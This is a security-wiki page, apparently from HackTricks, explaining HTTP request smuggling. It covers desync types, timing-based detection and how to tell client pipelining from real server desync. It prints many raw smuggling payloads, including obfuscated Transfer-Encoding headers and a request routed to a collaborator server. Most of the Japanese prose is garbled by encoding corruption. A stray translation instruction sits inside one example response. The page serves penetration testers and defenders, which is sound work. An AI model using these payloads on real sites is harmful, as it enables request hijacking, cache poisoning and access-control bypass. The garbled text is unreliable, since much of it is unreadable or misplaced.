HTTP Request Smuggling / HTTP Desync Attack
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
æŠèŠ
ãã®è匱æ§ã¯ãfront-end proxies ãš back-end ãµãŒãéã® desyncronization ã«ãããattacker ãéä¿¡ãã HTTP ã® request ã front-end åŽïŒload balance/reverse-proxyïŒã§ã¯ single request ãšã㊠interpreted ãããback-end ãµãŒãã§ã¯ as 2 request ãšã㊠interpreted ãããå Žåã«çºçããŸãã
ããã«ããããŠãŒã¶ã¯èªåã®ãªã¯ãšã¹ãã®åŸã« back-end ãµãŒãã«å°çããæ¬¡ã® request ã modify ããããšãå¯èœã«ãªããŸãã
Theory
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
å®éã®ç¶æ³
Front-EndïŒload-balance / Reverse ProxyïŒã¯ Content-Length ãŸã㯠Transfer-Encoding ãããã®ã©ã¡ãããåŠçããBack-end ãµãŒãã¯å察åŽãåŠçããããšã§ãäž¡è
ã®éã« desyncronization ãçºçããŸãã
ããã¯éåžžã«å±éºã§ãattacker ã reverse proxy ã«å¯Ÿã㊠1 ã€ã® request ãéãããšã§ãback-end ãµãŒãããèŠããšããã 2 ã€ã®ç°ãªã request ãšã㊠interpreted ãããå¯èœæ§ãããããã§ãããã®ææ³ã®å±éºæ§ã¯ãback-end ãµãŒããæ³šå
¥ããã 2nd request ãæ¬¡ã®ã¯ã©ã€ã¢ã³ãããæ¥ããã®ãšããŠæ±ãããã®ã¯ã©ã€ã¢ã³ãã®æ¬æ¥ã®ãªã¯ãšã¹ããæ³šå
¥ãªã¯ãšã¹ãã®äžéšã«ãªã£ãŠããŸãç¹ã«ãããŸãã
ç¹èšäºé
HTTP ã«ãããŠã¯ æ¹è¡æå㯠2 ãã€ãã§æ§æããã ããšãèŠããŠãããŠãã ãã:
- Content-Length: ãã®ããã㯠decimal number ã䜿ã£ãŠãªã¯ãšã¹ãã® body ã® bytes æ°ã瀺ããŸããããã£ã¯æåŸã®æåã§çµãããã®ãšæåŸ ããããªã¯ãšã¹ãã®æ«å°Ÿã«æ¹è¡ã¯å¿ é ã§ã¯ãããŸããã
- Transfer-Encoding: ãã®ãããã§ã¯ããã£å
ã« hexadecimal number ã䜿ã£ãŠæ¬¡ã®ãã£ã³ã¯ã® byte æ°ã瀺ããŸãããã£ã³ã¯ 㯠æ¹è¡ã§çµããå¿
èŠããããããããã®æ¹è¡ã¯é·ãã®ææšã«ã¯å«ãŸããŸããããã®è»¢éæ¹åŒã¯ ãµã€ãº 0 ã®ãã£ã³ã¯ã®åŸã« 2 ã€ã®æ¹è¡ïŒ
0ïŒã§çµãããªããã°ãªããŸããã - Connection: ç§ã®çµéšã§ã¯ãrequest Smuggling ãè¡ãæåã®ãªã¯ãšã¹ãã§ã¯
Connection: keep-aliveã䜿ãããšãæšå¥šããŸãã
Visible - Hidden
HTTP/1.1 ã®äž»ãªåé¡ã¯ãã¹ãŠã®ãªã¯ãšã¹ããåã TCP ãœã±ãããéãããããªã¯ãšã¹ããåãåã 2 ã€ã®ã·ã¹ãã éã§äžäžèŽããããšã1 ã€ã®ãªã¯ãšã¹ããæçµç㪠backendïŒãŸãã¯äžéã®ã·ã¹ãã ïŒã§ 2 ã€ä»¥äžã®ç°ãªããªã¯ãšã¹ããšããŠæ±ãããå¯èœæ§ãããããšã§ãã
This blog post ã¯ãWAF ã«æ€ç¥ãããªã desync æ»æãæ€åºããæ°ããæ¹æ³ãææ¡ããŠãããVisible vs Hidden ã®æ¯ãèããæç€ºããŠããŸããããã§ã®ç®çã¯ãå®éã«äœãããšã¯ã¹ããã€ãããã« desync ãåŒãèµ·ããå¯èœæ§ã®ããæè¡ãçšããŠã¬ã¹ãã³ã¹ã®äžäžèŽãæ¢ãããšã§ãã
äŸãã°ãéåžžã® Host ããããš â hostâ ããããéä¿¡ããŠãããã¯ãšã³ãããã®ãªã¯ãšã¹ãã«å¯ŸããŠæå¥ãèšãïŒäŸãã° â hostâ ã®å€ãäžæ£ãªããïŒå Žåãããã³ããšã³ã㯠â hostâ ããããèŠãŠããªãã£ããæçµããã¯ãšã³ãã¯ããã䜿ã£ãŠãããã€ãŸã front-end ãš back-end ã®éã§ desync ãããå¯èœæ§ã瀺ããŸãã
ãã㯠Hidden-Visible discrepancy ã§ãã
éã«ãfront-end ã â hostâ ããããèæ ®ããã back-end ãããŠããªãã£ãå ŽåãVisible-Hidden ã®ç¶æ³ã«ãªããŸãã
äŸãã°ãããã«ãã AWS ALB ã front-endãIIS ã backend ãšããç°å¢ã§ desync ãçºèŠãããŸããããã㯠âHost: foo/barâ ãéä¿¡ãããšã ALB ã 400, Server; awselb/2.0 ãè¿ããã®ã«å¯ŸããâHost : foo/barâ ãéä¿¡ãããšã㯠400, Server: Microsoft-HTTPAPI/2.0 ãè¿ããbackend ãå¿çãè¿ããŠããããšã瀺ããŠããããã§ãããã㯠Hidden-Visible (H-V) ã®ç¶æ³ã§ããã
ãã®åé¡ã¯ AWS åŽã§ä¿®æ£ãããŠããªãç¹ã«æ³šæããŠãã ããããrouting.http.drop_invalid_header_fields.enabled ãèšå®ããrouting.http.desync_mitigation_mode = strictest ã«ããããšã§é²æ¢ã§ããŸãã
åºæ¬äŸ
Tip
Burp Suite ã§ããã詊ãéã¯ãrepeater ã®èšå®ã§
Update Content-LengthãšNormalize HTTP/1 line endingsãç¡å¹ã«ãã ããšãæšå¥šããŸããããã€ãã® gadget ã¯æ¹è¡ããã£ãªããžãªã¿ãŒã³ããããŠäžæ£ãª content-length ãæªçšããŸãã
HTTP request smuggling æ»æã¯ãfront-end ãš back-end ã Content-Length (CL) ãš Transfer-Encoding (TE) ããããè§£éããéã®äžäžèŽãçªãææ§ãªãªã¯ãšã¹ããéãããšã§äœãããŸãããããã®æ»æã¯äž»ã« CL.TE, TE.CL, TE.TE ãšãã£ã圢ã§çŸããŸããåã¿ã€ã㯠front-end ãš back-end ããããã®ããããã©ã®ããã«åªå
ãããã®çµã¿åããã衚ããŸããè匱æ§ã¯åããªã¯ãšã¹ãããµãŒããç°ãªãæ¹æ³ã§åŠçããããšã«ããçããäºæããªããŸãã¯æªæã®ããçµæãåŒãèµ·ããå¯èœæ§ããããŸãã
è匱æ§ã¿ã€ãã®åºæ¬äŸ

Tip
åè¿°ã®è¡šã«ã¯ TE.0 ææ³ã远å ãã¹ãã§ãããã㯠CL.0 ææ³ãšåæ§ã§ãã Transfer-Encoding ã䜿çšããŸãã
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL):
Content-Lengthãããã«åºã¥ããŠãªã¯ãšã¹ããåŠçããŸãã -
Back-End (TE):
Transfer-Encodingãããã«åºã¥ããŠãªã¯ãšã¹ããåŠçããŸãã -
Attack Scenario:
-
æ»æè ã¯
Content-Lengthãããã®å€ãå®éã®ã³ã³ãã³ãé·ãšäžèŽããªããªã¯ãšã¹ããéä¿¡ããŸãã -
Front-end ãµãŒãã¯
Content-Lengthã®å€ã«åºã¥ããªã¯ãšã¹ãå šäœã back-end ã«è»¢éããŸãã -
Back-end ãµãŒãã¯
Transfer-Encoding: chunkedãããã«ãããªã¯ãšã¹ãããã£ã³ã¯åããããã®ãšããŠåŠçããæ®ãã®ããŒã¿ãå¥ã®ç¶ãã®ãªã¯ãšã¹ããšããŠè§£éããŸãã -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE):
Transfer-Encodingãããã«åºã¥ããŠãªã¯ãšã¹ããåŠçããŸãã -
Back-End (CL):
Content-Lengthãããã«åºã¥ããŠãªã¯ãšã¹ããåŠçããŸãã -
Attack Scenario:
-
æ»æè ã¯ãã£ã³ã¯ãµã€ãºïŒäŸ:
7bïŒãšå®éã®Content-Length: 4ãäžèŽããªããã£ã³ã¯åãªã¯ãšã¹ããéä¿¡ããŸãã -
Front-end ãµãŒãã¯
Transfer-Encodingãå°éããŠãªã¯ãšã¹ãå šäœã back-end ã«è»¢éããŸãã -
Back-end ãµãŒãã¯
Content-Lengthãå°éããŠæåã®éšåïŒæå®ããããã€ãæ°ïŒã ããåŠçããæ®ããæå³ããªã次ã®ãªã¯ãšã¹ãã®äžéšãšããŠæ®ããŸãã -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Servers: äž¡æ¹ãšã
Transfer-EncodingããµããŒãããŠããããçæ¹ã¯é£èªåã«æ°ä»ããç¡èŠããŠããŸãå¯èœæ§ãããã -
Attack Scenario:
-
æ»æè ã¯
Transfer-Encodingããããé£èªåããŠéä¿¡ããŸãã -
front-end ãŸã㯠back-end ã®ã©ã¡ããããã®é£èªåãèªèã§ããªãå ŽåãCL.TE ã TE.CL ã®è匱æ§ã«è»¢ãåŸãŸãã
-
çæ¹ã®ãµãŒãããèŠãŠæªåŠçã®ãªã¯ãšã¹ãéšåãæ¬¡ã®ãªã¯ãšã¹ãã®äžéšãšãªããsmuggling ãçºçããŸãã
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- äž¡æ¹ã®ãµãŒãã
Content-Lengthãããã®ã¿ã«åºã¥ããŠãªã¯ãšã¹ããåŠçããŸãã - ãã®ã·ããªãªã¯éåžž smuggling ãåŒãèµ·ãããŸãããäž¡è ã®è§£éãäžèŽããŠããããã§ãã
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
Content-Lengthããããååšãããã®å€ã 0 以å€ã§ãªã¯ãšã¹ãããã£ãããããšã瀺ããŠããããback-end ãContent-Lengthãç¡èŠããŠïŒ0 ãšããŠæ±ãïŒãfront-end ã¯ãããè§£æããŠãããããªã·ããªãªãæããŸãã- ãã㯠smuggling ãçè§£ãã¯ã©ããããäžã§éèŠã§ããµãŒãããªã¯ãšã¹ãã®çµç«¯ãã©ã®ããã«å€æãããã«åœ±é¿ãäžããŸãã
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- åè¿°ãšåæ§ã ã TE ã䜿çšãããã¿ãŒã³ã§ãã
- Technique reported here
- Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL ã·ããªãª
0.CL ã®ç¶æ³ã§ã¯ã次ã®ãã㪠Content-Length ãæã€ request ãéä¿¡ãããŸã:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
ããã³ããšã³ãã¯Content-Lengthãèæ
®ããªããããæåã®ãªã¯ãšã¹ãïŒäŸã§ã¯7ãŸã§ïŒã ããããã¯ãšã³ãã«éä¿¡ããŸããããããããã¯ãšã³ãã¯Content-Lengthãåç
§ããŠããã£ã®å°çãåŸ
ã€ãããããã³ããšã³ããæ¢ã«ã¬ã¹ãã³ã¹ãåŸ
ã£ãŠããç¶æ
ã§ã¯ããã£ãå°çããåŸ
ã¡ãçºçããŸãã
ãã ããããã¯ãšã³ãã«å¯ŸããŠãªã¯ãšã¹ãæ¬äœãåãåãåã«ã¬ã¹ãã³ã¹ãè¿ãããšãã§ãããªã¯ãšã¹ããååšããã°ããã®ãããããã¯ã¯çºçããŸãããäŸãã° IIS ã§ã¯ã/con ã®ãããªäºçŽèªïŒcheck the documentationïŒã«å¯Ÿãããªã¯ãšã¹ããéããšãã®çŸè±¡ãèµ·ããŸããããããããšã§ãæåã®ãªã¯ãšã¹ãã¯å³åº§ã«å¿çããã2çªç®ã®ãªã¯ãšã¹ãã被害è
ã®ãªã¯ãšã¹ããå«ãããã«ãªããŸãïŒ
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
ããã¯ãã·ã³ã¯ãåŒãèµ·ããã®ã«æçšã§ããããããŸã§ã¯åœ±é¿ãåãŒããŸããã§ããã
ãããããã®æçš¿ã¯ããã«å¯Ÿãã解決çã瀺ããŠããã0.CL attack into a CL.0 with a double desync ã«å€æããããšã§å¯ŸåŠããŸãã
Breaking the web server
ãã®ææ³ã¯ãåæã®HTTPããŒã¿ãèªã¿åã£ãŠããéã«WebãµãŒããç Žå£ããããšãå¯èœã§ããã€æ¥ç¶ãéããªããããªç¶æ³ã§ãæçšã§ãããã®å ŽåãHTTPãªã¯ãšã¹ãã®æ¬æã¯æ¬¡ã®HTTPãªã¯ãšã¹ããšããŠæ±ãããŸãã
ããšãã°ãthis writeupã§èª¬æãããŠããããã«ãWerkzeug ã§ã¯äžéšã® Unicode æåãéãããšã§ãµãŒããã¯ã©ãã·ã¥ãããããšãå¯èœã§ãããããããHTTPæ¥ç¶ãããã Connection: keep-alive ã§äœãããŠããå Žåããªã¯ãšã¹ãã®æ¬æã¯èªã¿åãããæ¥ç¶ã¯éãããŸãŸã«ãªãããããªã¯ãšã¹ãã®æ¬æã¯æ¬¡ã®HTTPãªã¯ãšã¹ããšããŠæ±ãããŸãã
Forcing via hop-by-hop headers
hop-by-hop headers ãæªçšãããšããããã·ã« ããã Content-Length ãŸã㯠Transfer-Encoding ãåé€ãããããšã§ãHTTP request smuggling ãæªçšå¯èœã«ãã ãšæç€ºã§ããŸãã
Connection: Content-Length
For hop-by-hop headers ã«é¢ããè©³çŽ°ã¯æ¬¡ãåç §ããŠãã ããïŒ
HTTP Request Smuggling ã®æ€åº
HTTP request smuggling è匱æ§ã®ç¹å®ã¯ãæäœãããªã¯ãšã¹ãã«å¯ŸãããµãŒãã®å¿çæéã芳枬ããã¿ã€ãã³ã°ææ³ãçšããããšã§å®çŸã§ããããšãå€ãããããã®ææ³ã¯ç¹ã« CL.TE ããã³ TE.CL ã®æ€åºã«æå¹ã§ãããããã以å€ã«ããè匱æ§ãçºèŠããããã®ä»ã®æŠç¥ãããŒã«ãããïŒ
CL.TE è匱æ§ãã¿ã€ãã³ã°ææ³ã§çºèŠããæ¹æ³
-
æ¹æ³:
-
ã¢ããªã±ãŒã·ã§ã³ãè匱ã§ããã°ãããã¯ãšã³ããµãŒãã远å ããŒã¿ãåŸ æ©ãããããªãªã¯ãšã¹ããéä¿¡ããã
-
äŸ:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
芳å¯:
-
ããã³ããšã³ãã¯
Content-Lengthã«åºã¥ããŠãªã¯ãšã¹ããåŠçããã¡ãã»ãŒãžãæ©æã«åãäžããã -
ããã¯ãšã³ã㯠chunked ã¡ãã»ãŒãžãæåŸ ããŠæ¬¡ã®ãã£ã³ã¯ãåŸ ã€ãããããå°çããé å»¶ãçºçããã
-
ææš:
-
ã¿ã€ã ã¢ãŠããå¿çã®é·ãé å»¶ã
-
ããã¯ãšã³ããã 400 Bad Request ãšã©ãŒãåãåããå Žåã«ãã£ãŠã¯è©³çްãªãµãŒãæ å ±ãå«ãŸããããšãããã
TE.CL è匱æ§ãã¿ã€ãã³ã°ææ³ã§çºèŠããæ¹æ³
-
æ¹æ³:
-
ã¢ããªã±ãŒã·ã§ã³ãè匱ã§ããã°ãããã¯ãšã³ããµãŒãã远å ããŒã¿ãåŸ æ©ãããããªãªã¯ãšã¹ããéä¿¡ããã
-
äŸ:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- 芳å¯:
- ããã³ããšã³ãã¯
Transfer-Encodingã«åºã¥ããŠãªã¯ãšã¹ããåŠçããã¡ãã»ãŒãžå šäœã転éããã - ããã¯ãšã³ãã¯
Content-Lengthã«åºã¥ãã¡ãã»ãŒãžãæåŸ ããŠè¿œå ããŒã¿ãåŸ ã€ãããããå°çããé å»¶ãçºçããã
ãã®ä»ã®è匱æ§çºèŠææ³
- å·®åå¿çè§£æ (Differential Response Analysis):
- ãããã«ç°ãªãããŒãžã§ã³ã®ãªã¯ãšã¹ããéãããµãŒãå¿çãäºæãã¬éãã瀺ããã芳å¯ãããããã¯ããŒã¹ã®äžäžèŽã瀺ãå¯èœæ§ãããã
- èªååããŒã«ã®å©çš (Using Automated Tools):
- Burp Suite ã® âHTTP Request Smugglerâ extension ã®ãããªããŒã«ã¯ããããŸããªãªã¯ãšã¹ããæ§ã ã«éä¿¡ããŠå¿çãè§£æããããšã§èªåçã«ãã¹ããè¡ããã
- Content-Length ã®äžäžèŽãã¹ã (Content-Length Variance Tests):
- å®éã®ã³ã³ãã³ãé·ãšäžèŽããªã
Content-Lengthå€ã§ãªã¯ãšã¹ããéãããµãŒããã©ã®ããã«æ±ããã芳å¯ããã - Transfer-Encoding ã®äžæ£/é£èªåãã¹ã (Transfer-Encoding Variance Tests):
- é£èªåããããäžæ£ãª
Transfer-Encodingããããå«ããªã¯ãšã¹ããéããããã³ããšã³ããšããã¯ãšã³ããã©ã®ããã«ç°ãªãåå¿ãããããç£èŠããã
The Expect: 100-continue header
ãã®ãããã http desync ã®æªçšã«ã©ã®ããã«åœ¹ç«ã€ãã¯ä»¥äžãåç §ïŒ
HTTP Request Smuggling è匱æ§ãã¹ã
ã¿ã€ãã³ã°ææ³ã®æå¹æ§ã確èªããããã¯ã©ã€ã¢ã³ãããã®ãªã¯ãšã¹ããæäœã§ãããã©ãããæ€èšŒããããšãéèŠã§ãããåçŽãªæ¹æ³ãšããŠã¯ããªã¯ãšã¹ãããã€ãºãã³ã°ã㊠/ ãžã®ãªã¯ãšã¹ãã 404 ãè¿ãããã«è©Šãããšããããåè¿°ã® CL.TE ããã³ TE.CL ã® Basic Examples ã«ããäŸã¯ãã¯ã©ã€ã¢ã³ããå¥ã®ãªãœãŒã¹ã«ã¢ã¯ã»ã¹ããããšããŠããã«ãããããããã¯ã©ã€ã¢ã³ãã®ãªã¯ãšã¹ãããã€ãºãã³ã°ã㊠404 ãåŒãèµ·ããæ¹æ³ã瀺ããŠããã
éèŠãªèæ ®ç¹
ä»ã®ãªã¯ãšã¹ãã«å¹²æžã㊠request smuggling ã®ãã¹ããè¡ãå Žåãæ¬¡ã®ç¹ã«æ³šæããããšïŒ
- å¥åã®ãããã¯ãŒã¯æ¥ç¶: ãattackããšãnormalããªã¯ãšã¹ãã¯å¥ã ã®ãããã¯ãŒã¯æ¥ç¶ã§éä¿¡ããã¹ãã§ãããäž¡æ¹ãåãæ¥ç¶ã§éãã ãã§ã¯è匱æ§ã®ååšã¯æ€èšŒã§ããªãã
- URL ãšãã©ã¡ãŒã¿ã®äžè²«æ§: äž¡æ¹ã®ãªã¯ãšã¹ãã§åäžã® URL ãšãã©ã¡ãŒã¿åã䜿ãããšãç®æããå€ãã®çŸä»£çãªã¢ããªã±ãŒã·ã§ã³ã¯ URL ããã©ã¡ãŒã¿ã«åºã¥ããŠç¹å®ã®ããã¯ãšã³ããµãŒãã«ã«ãŒãã£ã³ã°ããããããããåãããããšã§äž¡æ¹ã®ãªã¯ãšã¹ããåããµãŒãã§åŠçãããå¯èœæ§ãé«ããªããæ»ææåã®åææ¡ä»¶ãšãªãã
- ã¿ã€ãã³ã°ãšã¬ãŒã¹æ¡ä»¶: ãnormalããªã¯ãšã¹ãã¯ãattackããªã¯ãšã¹ãã«ããå¹²æžãæ€åºããç®çã§éä¿¡ããããããä»ã®åæå®è¡äžã®ã¢ããªã±ãŒã·ã§ã³ãªã¯ãšã¹ããšç«¶åããããããã£ãŠãattackããªã¯ãšã¹ãçŽåŸã«ãnormalããªã¯ãšã¹ããéããè² è·ã®é«ãã¢ããªã§ã¯çµè«ãåºãããã«è€æ°åã®è©Šè¡ãå¿ èŠã«ãªãããšãããã
- ããŒããã©ã³ã·ã³ã°ã®èª²é¡: ããã³ããšã³ããããŒããã©ã³ãµãšããŠæ¯ãèãå Žåããªã¯ãšã¹ããè€æ°ã®ããã¯ãšã³ãã«æ¯ãåããå¯èœæ§ãããããattackããšãnormalããªã¯ãšã¹ããç°ãªãã·ã¹ãã ã«å²ãåœãŠããããšæ»æã¯æåããªããããŒããã©ã³ã·ã³ã°ã®åœ±é¿ã«ãããè匱æ§ç¢ºèªã®ããã«è€æ°åã®è©Šè¡ãå¿ èŠã«ãªãå Žåãããã
- æå³ããªããŠãŒã¶åœ±é¿: ããªãã®æ»æãæå³ããä»ã®ãŠãŒã¶ã®ãªã¯ãšã¹ãïŒããªããéã£ããnormalããªã¯ãšã¹ãã§ã¯ãªããã®ïŒã«åœ±é¿ãäžããå Žåãããã¯ããªãã®æ»æãä»ã®å©çšè ã«åœ±é¿ãåãŒããããšãæå³ãããç¶ç¶çãªãã¹ãã¯ä»ã®ãŠãŒã¶ã劚害ããå¯èœæ§ããããããæ éã«è¡ãå¿ èŠãããã
HTTP/1.1 ã® pipelining ã«ããã¢ãŒãã£ãã¡ã¯ããšå®éã® request smuggling ã®åºå¥
Connection reuse (keep-alive) ãš pipelining ã¯ãåäžãœã±ããã§è€æ°ã®ãªã¯ãšã¹ããéä¿¡ãããã¹ãããŒã«ã«ãããŠç°¡åã«ãsmugglingãã®ããã«èŠããçŸè±¡ãçãããããã¯ã©ã€ã¢ã³ãåŽã®ç¡å®³ãªã¢ãŒãã£ãã¡ã¯ããšãå®éã®ãµãŒãåŽ desync ãåºå¥ããããšãåŠãã§ããã
ãªããã€ãã©ã€ã³ã¯å€å žçãªèª€æ€ç¥ãçãã®ã
HTTP/1.1 ã¯åäžã® TCP/TLS æ¥ç¶ãåå©çšããåãã¹ããªãŒã äžã«ãªã¯ãšã¹ããšã¬ã¹ãã³ã¹ãé£çµãããpipelining ã§ã¯ã¯ã©ã€ã¢ã³ããè€æ°ã®ãªã¯ãšã¹ããé£ç¶ããŠéããé åºã©ããã®ã¬ã¹ãã³ã¹ãæåŸ ãããåäžæ¥ç¶äžã§äžæ£ãª CL.0 ã¹ã¿ã€ã«ã®ãã€ããŒããäºåºŠéä¿¡ããã®ã¯äžè¬çãªèª€æ€ç¥ã®ãã¿ãŒã³ã§ããïŒ
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
src/pentesting-web/http-request-smuggling/README.md ã®å 容ã貌ãä»ããŠãã ãããåãåã£ãè±æãæå®ã©ããæ¥æ¬èªã«ç¿»èš³ããMarkdown/HTML ã¿ã°ãã³ãŒãããªã³ã¯ããã¹ãæå®ãããã¿ã°ã¯ãã®ãŸãŸæ®ããŸãã
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
ãµãŒããŒãäžæ£ãª Content_Length ãç¡èŠããå ŽåãFEâBE desync ã¯çºçããŸãããåå©çšæãã¯ã©ã€ã¢ã³ãã¯å®éã«æ¬¡ã®ãã€ãã¹ããªãŒã ãéä¿¡ããŠããããµãŒããŒã¯ããã2ã€ã®ç¬ç«ãããªã¯ãšã¹ããšããŠè§£æããŸããïŒ
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impact: ãªããã¯ã©ã€ã¢ã³ãããµãŒãã®ãã¬ãŒãã³ã°ããdesyncedããã ãã§ãã
Tip
Burp modules that depend on reuse/pipelining: Turbo Intruder with
requestsPerConnection>1, Intruder with âHTTP/1 connection reuseâ, Repeater âSend group in sequence (single connection)â or âEnable connection reuseâ.
Litmus tests: pipelining or real desync?
- Disable reuse and re-test
- Burp Intruder/Repeater ã§ HTTP/1 reuse ããªãã«ããâSend group in sequenceâ ãé¿ããŸãã
- Turbo Intruder ã§ã¯
requestsPerConnection=1ãšpipeline=Falseãèšå®ããŸãã - æåãæ¶ããå Žåã¯ãconnection-locked/stateful ãªã¿ãŒã²ããã client-side desync ãæ±ã£ãŠããå Žåãé€ãããããŠã client-side pipelining ãåå ã§ãã
- HTTP/2 nested-response check
- HTTP/2 ãªã¯ãšã¹ããéä¿¡ããŸããã¬ã¹ãã³ã¹ããã£ã«å®å šãªãã¹ãããã HTTP/1 ã¬ã¹ãã³ã¹ãå«ãŸããŠããã°ãçŽç²ãªã¯ã©ã€ã¢ã³ãå¯äœçšã§ã¯ãªãããã¯ãšã³ãã®ããŒã¹/desync ãã°ã蚌æãããŸãã
- Partial-requests probe for connection-locked front-ends
- äžéšã® FE ã¯ãã¯ã©ã€ã¢ã³ããèªèº«ã®æ¥ç¶ãåå©çšããå Žåã«ã®ã¿ upstream BE æ¥ç¶ãåå©çšããŸããpartial-requests ã䜿ã£ãŠãã¯ã©ã€ã¢ã³ãã®åå©çšãåæ ãã FE ã®æåãæ€åºããŸãã
- connection-locked ææ³ã«ã€ããŠã¯ PortSwigger ã® âBrowserâPowered Desync Attacksâ ãåç §ããŠãã ããã
- State probes
- åã TCP æ¥ç¶äžã§ã®æåã®ãªã¯ãšã¹ããšãã以éã®ãªã¯ãšã¹ãã®å·®ç°ïŒfirst-request routing/validationïŒãæ¢ããŸãã
- Burp âHTTP Request Smugglerâ ã«ã¯ãããèªååãã connectionâstate probe ãå«ãŸããŠããŸãã
- Visualize the wire
- Burp âHTTP Hackerâ extension ã䜿ããreuse ãš partial requests ã詊ããªããçµåãã¡ãã»ãŒãžãã¬ãŒãã³ã°ãçŽæ¥æ€æ»ããŸãã
Connectionâlocked request smuggling (reuse-required)
äžéšã® front-ends ã¯ãã¯ã©ã€ã¢ã³ããæ¥ç¶ãåå©çšããå Žåã«ã®ã¿ upstream æ¥ç¶ãåå©çšããŸããå®éã® smuggling ã¯ååšããŸãããclient-side reuse ã«äŸåããæ¡ä»¶ä»ãã§ããåºå¥ããŠåœ±é¿ã蚌æããã«ã¯ïŒ
- ãµãŒãåŽã®ãã°ã蚌æãã
- HTTP/2 nested-response check ã䜿ãããŸãã¯
- partial-requests ã䜿ã£ãŠ FE ãã¯ã©ã€ã¢ã³ãã®åå©çšæã®ã¿ upstream ãåå©çšããããšã瀺ã
- ããšãçŽæ¥ã®ã¯ãã¹ãŠãŒã¶ãœã±ããæªçšããããã¯ãããŠããŠããå®éã®åœ±é¿ã瀺ãïŒ
- Cache poisoning: desync ãéããŠå ±æãã£ãã·ã¥ãæ±æããä»ã®ãŠãŒã¶ã«åœ±é¿ãäžããã¬ã¹ãã³ã¹ãäœãã
- Internal header disclosure: FE ãæ³šå ¥ãããããïŒäŸ: auth/trust headersïŒãåæ ãããauth bypass ã«è¶³ããããäœãã
- Bypass FE controls: å¶éããããã¹ïŒã¡ãœããã front-end ãééãããããã« smuggle ããã
- Host-header abuse: ãã¹ãã«ãŒãã£ã³ã°ã®ç¹ç°ç¹ãšçµã¿åãããŠå éš vhost ã«ããããããã
- Operator workflow
- å¶åŸ¡ãããåå©çšã§åçŸããïŒTurbo Intruder
requestsPerConnection=2ããŸã㯠Burp Repeater ã¿ãã°ã«ãŒã â âSend group in sequence (single connection)âïŒã - ãã®åŸãcache/header-leak/control-bypass primitives ã«ç¹ããŠãã¯ãã¹ãŠãŒã¶ãŸãã¯èªå¯ãžã®åœ±é¿ãå®èšŒããã
- å¶åŸ¡ãããåå©çšã§åçŸããïŒTurbo Intruder
See also connectionâstate attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Clientâside desync constraints
